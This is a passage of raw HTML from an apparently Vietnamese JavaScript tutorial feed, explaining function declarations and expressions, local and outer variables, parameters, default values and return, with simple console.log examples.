class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> isVietnamese <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span><span class="token string">"Bạn có phải người Việt Nam không?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> welcome<span class="token punctuation">;</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>isVietnamese<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function-variable function">welcome</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Chào bạn!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function-variable function">welcome</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">welcome</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Không có lỗi</span></code></pre></div> <blockquote> <p>📝 Dĩ nhiên, đoạn code trên chỉ là ví dụ minh họa. Thực tế, bạn có nhiều cách để giải quyết bài toán này.</p> </blockquote> <p><strong>Nên viết hàm theo function declaration hay function expression?</strong></p> <p>Câu trả lời là: <strong>tùy bạn</strong>.</p> <p>Tùy thuộc vào phong cách và mục đích của bạn mà lựa chọn cho phù hợp.</p> <p>Tuy nhiên, theo quan điểm cá nhân thì mình thấy dùng <strong>function declaration</strong> sẽ dễ nhìn hơn. Ngoài ra, <strong>function declaration</strong> còn giúp bạn thoải mái hơn trong việc cấu trúc code (không phụ thuộc nhiều vào thứ tự code).</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Bản chất của hàm là <strong>giá trị</strong>. Vì vậy, bạn có thể thoải mái <strong>gán, sao chép và truyền một hàm vào hàm khác</strong> dạng tham số.</p> <p>Khi một hàm được định nghĩa độc lập thì đó gọi là "function declaration". Ngược lại, khi một hàm được định nghĩa bên trong một biểu thức, đó gọi là "function expression".</p> <p>Khi một hàm được truyền vào bên trong hàm khác để gọi lại khi cần thiết, hàm đó được gọi là "hàm callback".</p> <p><strong>Function declaration</strong> được xử lý trước khi chương trình chạy đến đó. Function declaration có phạm vi trong block, nên bạn có thể gọi hàm ở bất kỳ đâu trong block.</p> <p><strong>Function expression</strong> được tạo ra tại thời điểm chương trình chạy đến vị trí khởi tạo hàm. Nên bạn chỉ gọi được hàm sau khi đã khởi tạo.</p>[email protected]<![CDATA[Hàm là gì? Hàm trong JavaScript]]><![CDATA[Function JavaScript (hàm trong JavaScript) là một thành phần không thể thiếu trong cấu trúc chương trình. Hàm giúp chương trình trở nên rõ ràng, dễ hiểu bằng cách gộp những đoạn…]]>https://completejavascript.com/ham-la-gi-ham-trong-javascript/https://completejavascript.com/ham-la-gi-ham-trong-javascript/<![CDATA[Hàm]]>Mon, 08 May 2017 09:00:00 GMT<p>Function JavaScript (hàm trong JavaScript) là một thành phần không thể thiếu trong cấu trúc chương trình.</p> <p>Hàm giúp chương trình trở nên rõ ràng, dễ hiểu bằng cách gộp những đoạn code lặp lại. Nhờ vậy mà việc bảo trì phần mềm cũng dễ dàng hơn.</p> <p>Ngoài ra, một hàm tốt (độc lập và thực hiện một chức năng nhất định) có thể tái sử dụng trong nhiều dự án khác nhau. Điều này giúp nâng cao hiệu suất công việc của lập trình viên.</p> <blockquote> <p>Trong bài viết về <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/">tương tác người dùng với: alert, confirm và prompt</a> bạn đã biết về các hàm có sẵn như: <code>alert()</code>, <code>confirm()</code> và <code>prompt()</code>.</p> </blockquote> <p>Sau đây, mình sẽ giới thiệu những thành phần cơ bản của hàm trong JavaScript. Qua đó, bạn sẽ hiểu hàm là gì, cách xây dựng hàm và ứng dụng hàm vào các dự án.</p> <h2 id="hàm-là-gì" style="position:relative;"><a href="#h%C3%A0m-l%C3%A0-g%C3%AC" aria-label="hàm là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm là gì?</h2> <p>Hàm trong JavaScript là một chương trình con giúp thực thi một công việc cụ thể. Để định nghĩa hàm trong JavaScript, bạn sử dụng từ khoá <code>function</code> với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">functionName</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">[</span>parameter1<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>parameter2<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> statement1<span class="token punctuation">;</span> statement2<span class="token punctuation">;</span> <span class="token operator">...</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>function</code>: là một từ khóa trong JavaScript dùng để định nghĩa hàm.</li> <li><strong>functionName</strong>: là tên của hàm (tên tự đặt).</li> <li><code>([parameter1], [parameter2],...)</code>: danh sách các tham số của hàm (không bắt buộc).</li> <li>Cuối cùng là <strong>thân hàm</strong>, bao gồm một hoặc nhiều câu lệnh nằm trong cặp dấu ngoặc <code>{}</code>.</li> </ul> <p>Ví dụ hàm <code>sayHello()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Để gọi hàm, bạn sử dụng tên hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// Hello from completejavascript.com</span> <span class="token comment">// Hello from completejavascript.com</span></code></pre></div> <p>Khi gọi hàm, đoạn code bên trong thân hàm sẽ được thực thi. Trong ví dụ trên, đoạn code <code>console.log</code> được thực hiện hai lần (ứng với hai lần gọi hàm).</p> <p>Bạn có thể thấy rằng, hàm giúp tránh lặp lại code. Giả sử bạn cần thay đổi nội dung với <code>console.log</code> trên, bạn chỉ cần thay đổi <strong>một chỗ</strong> (bên trong thân hàm).</p> <blockquote> <p>Đến đây chắc bạn đã phần nào hiểu được hàm là gì rồi phải không? Sau đây, mình sẽ đi vào chi tiết các đặc điểm của hàm trong JavaScript.</p> </blockquote> <h2 id="biến-cục-bộ-trong-hàm" style="position:relative;"><a href="#bi%E1%BA%BFn-c%E1%BB%A5c-b%E1%BB%99-trong-h%C3%A0m" aria-label="biến cục bộ trong hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biến cục bộ trong hàm</h2> <p>Một <a href="/bien-la-gi-bien-trong-javascript/">biến</a> được khai báo bên trong hàm, chỉ sử dụng được bên trong thân hàm đó. Biến này gọi là <strong>biến cục bộ</strong> (hay <strong>biến địa phương</strong>).</p> <p>Ví dụ về biến cục bộ trong JavaScript:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">const</span> message <span class="token operator">=</span> <span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: message is not defined</span></code></pre></div> <p>Trong ví dụ trên, biến <code>message</code> là biến cục bộ bên trong hàm <code>sayHello</code>. Tức là biến <code>message</code> chỉ dùng được ở trong thân hàm <code>sayHello</code>.</p> <p>Khi bạn cố gắng truy cập vào biến <code>message</code> ở ngoài hàm, bạn sẽ bị lỗi <strong>Uncaught ReferenceError: message is not defined</strong>.</p> <h2 id="biến-ngoài-hàm-trong-javascript" style="position:relative;"><a href="#bi%E1%BA%BFn-ngo%C3%A0i-h%C3%A0m-trong-javascript" aria-label="biến ngoài hàm trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biến ngoài hàm trong JavaScript</h2> <p>Một hàm trong JavaScript có thể truy cập vào biến được khai báo bên ngoài hàm, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></code></pre></div> <p>Hơn nữa, bạn có thể thay đổi giá trị của biến ngoài hàm từ trong thân hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> message <span class="token operator">=</span> <span class="token string">"Hi!"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span></span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span></span></code></pre></div> <p>Tuy nhiên, nếu bên trong thân hàm <strong>khai báo một biến trùng tên</strong> với biến ngoài hàm thì biến ngoài hàm "bị bỏ qua":</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hi!"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span></span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></span></code></pre></div> <blockquote> <p>📝 <strong>Biến toàn cục</strong></p> <p>Một biến được khai báo ở ngoài tất cả các hàm, gọi là <strong>biến toàn cục</strong>.</p> <p>Biến toàn cục có thể được sử dụng và thay đổi giá trị ở mọi nơi trong chương trình. Vì vậy, bạn nên hạn chế sử dụng biến toàn cục.</p> <p>Điều này giúp hàm trở nên tốt hơn, dễ dàng tái sử dụng hơn (vì nó độc lập với các biến bên ngoài).</p> </blockquote> <h2 id="truyền-tham-số-vào-hàm" style="position:relative;"><a href="#truy%E1%BB%81n-tham-s%E1%BB%91-v%C3%A0o-h%C3%A0m" aria-label="truyền tham số vào hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Truyền tham số vào hàm</h2> <p>Trong trường hợp bạn muốn sử dụng giá trị của biến bên ngoài vào trong thân hàm, bạn có thể truyền tham số vào hàm (thay vì sử dụng biến toàn cục).</p> <p>Ví dụ truyền tham số vào hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Hi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span></code></pre></div> <p>Khi hàm <code>sayHello</code> được gọi, giá trị <a href="/kieu-du-lieu-trong-javascript/">string</a> được sao chép (copy) vào biến cục bộ <code>message</code>. Trong thân hàm sẽ sử dụng biến cục bộ đó.</p> <blockquote> <p><strong>Chú ý</strong>: khi truyền tham số vào hàm (ngoại trừ <a href="/object-la-gi-object-trong-javascript/">object</a> là kiểu dữ liệu tham chiếu), hàm trong JavaScript luôn thực hiện sao chép dữ liệu mà không làm thay đổi giá trị biến bên ngoài.</p> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> message <span class="token operator">=</span> <span class="token string">"Hi!"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span></span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></span></code></pre></div> <p>Bạn thấy rằng là bên trong hàm đã gán giá trị <code>Hi!</code> cho biến <code>message</code>. Nhưng giá trị của biến <code>message</code> bên ngoài không hề thay đổi.</p> <blockquote> <p>📝 Số lượng tham số của hàm là không giới hạn.</p> </blockquote> <p>Ví dụ hàm có nhiều tham số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> site</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message <span class="token operator">+</span> <span class="token string">" from "</span> <span class="token operator">+</span> site<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Hello from completejavascript.com</span></code></pre></div> <h2 id="giá-trị-tham-số-mặc-định" style="position:relative;"><a href="#gi%C3%A1-tr%E1%BB%8B-tham-s%E1%BB%91-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh" aria-label="giá trị tham số mặc định permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giá trị tham số mặc định</h2> <p>Đối với hàm có tham số mà khi gọi hàm, bạn không truyền giá trị vào thì giá trị của tham số đó là <code>undefined</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> site</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message <span class="token operator">+</span> <span class="token string">" from "</span> <span class="token operator">+</span> site<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from undefined</span></span></code></pre></div> <p>Trong trường hợp này, bạn có thể định nghĩa "giá trị mặc định" cho tham số bằng cách sử dụng <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử</a> gán <code>=</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span>message<span class="token punctuation">,</span> site <span class="token operator">=</span> <span class="token string">"completejavascript.com"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message <span class="token operator">+</span> <span class="token string">" from "</span> <span class="token operator">+</span> site<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></span></code></pre></div> <p>Lúc này, nếu bạn không truyền giá trị vào tham số <code>site</code> thì giá trị của nó mặc định là <code>completejavascript.com</code>.</p> <p>Trong ví dụ trên, giá trị mặc định chỉ là một giá trị <code>string</code>. Tuy nhiên, giá trị mặc định có thể là một <strong>biểu thức</strong> hoặc thậm chí là một <strong>hàm khác</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">aFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> site <span class="token operator">=</span> <span class="token function">aFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message <span class="token operator">+</span> <span class="token string">" from "</span> <span class="token operator">+</span> site<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong ví trên, hàm <code>aFunction()</code> chỉ được gọi khi bạn không truyền giá trị cho tham số <code>site</code>.</p> <blockquote> <p>Có thể bạn quan tâm: <a href="/lam-sao-bat-buoc-truyen-tham-so-vao-ham/">Làm sao để bắt buộc truyền tham số vào hàm?</a>.</p> </blockquote> <h2 id="return-trong-javascript" style="position:relative;"><a href="#return-trong-javascript" aria-label="return trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Return trong JavaScript</h2> <p>Hàm trong JavaScript có thể trả về giá trị khi gọi hàm.</p> <p>Ví dụ hàm tính tổng hai số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Từ khóa <code>return</code> trong JavaScript có thể đặt ở bất kỳ đâu trong thân hàm. Khi gặp từ khóa <code>return</code>, hàm sẽ dừng lại và trả về giá trị sau <code>return</code>.</p> <p><strong>Có thể dùng nhiều từ khóa <code>return</code> trong hàm:</strong></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> a <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Tham số không hợp lệ!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>b <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> b <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Tham số không hợp lệ!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">const</span> result1 <span class="token operator">=</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tham số không hợp lệ!</span></code></pre></div> <p>Ví dụ trên, mình kiểm tra điều kiện cho <code>a</code> và <code>b</code>. Nếu chúng bằng <code>null</code> hoặc <code>undefined</code> thì sẽ <code>return</code> luôn mà không thực hiện tính tổng.</p> <p>Bạn cũng thấy rằng, hai vị trí <code>return</code> đầu tiên không có giá trị nào theo sau. Khi đó, giá trị trả về mặc định là <code>undefined</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code 